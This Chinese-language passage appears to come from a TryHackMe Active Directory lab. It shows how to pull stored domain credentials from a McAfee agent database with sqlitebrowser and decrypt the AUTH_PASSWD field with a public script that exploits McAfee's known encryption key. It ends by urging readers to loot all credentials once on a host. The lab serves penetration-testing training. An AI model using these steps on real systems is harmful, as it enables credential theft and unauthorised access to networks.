为了读取数据库文件，我们将使用一个名为 sqlitebrowser 的工具。我们可以使用以下命令打开数据库：

thm@thm:# sqlitebrowser ma.db

使用 sqlitebrowser，我们将选择“浏览数据”选项并关注 AGENT_REPOSITORIES 表：

我们对第二个条目特别感兴趣，重点是 DOMAIN、AUTH_USER 和 AUTH_PASSWD 字段条目。记下这些条目中存储的值。但是，AUTH_PASSWD 字段已加密。幸运的是，McAfee 使用已知密钥加密该字段。因此，我们将使用以下旧的 python2 脚本来解密密码。该脚本已作为可下载的任务文件或在 AttackBox 上提供，可以在 /root/Rooms/BreachingAD/task7/ 目录中找到。 注意：我们在这里使用的工具已经很旧了。它使用 Python v2 并依赖于旧的加密库。如果您无法让脚本在您自己的虚拟机上运行，请使用 AttackBox。但是，该应用程序最近进行了更新，以确保它也可以在 Python3 上运行，您可以在此处下载最新版本：https://github.com/funoverip/mcafee-sitelist-pwd-decryption 您必须解压缩 mcafee-sitelist-pwd-decryption.zip 文件：

thm@thm:~/root/Rooms/BreachingAD/task7/$ unzip mcafeesitelistpwddecryption.zip

通过向脚本提供我们的 base64 编码和加密密码，该脚本将提供解密的密码：

thm@thm:~/root/Rooms/BreachingAD/task7/mcafee-sitelist-pwd-decryption-master$ python2 mcafee_sitelist_pwd_decrypt.py <AUTH PASSWD VALUE>
Crypted password   : <AUTH PASSWD VALUE>
Decrypted password : <Decrypted Pasword>

现在，我们再次拥有了一组 AD 凭据，可用于进一步枚举！这只是从配置文件恢复凭据的示例之一。如果您能够在主机上站稳脚跟，请务必遵循详细而完善的方法，以确保从主机恢复所有战利品，包括凭证和其他可以存储在配置文件中的敏感信息。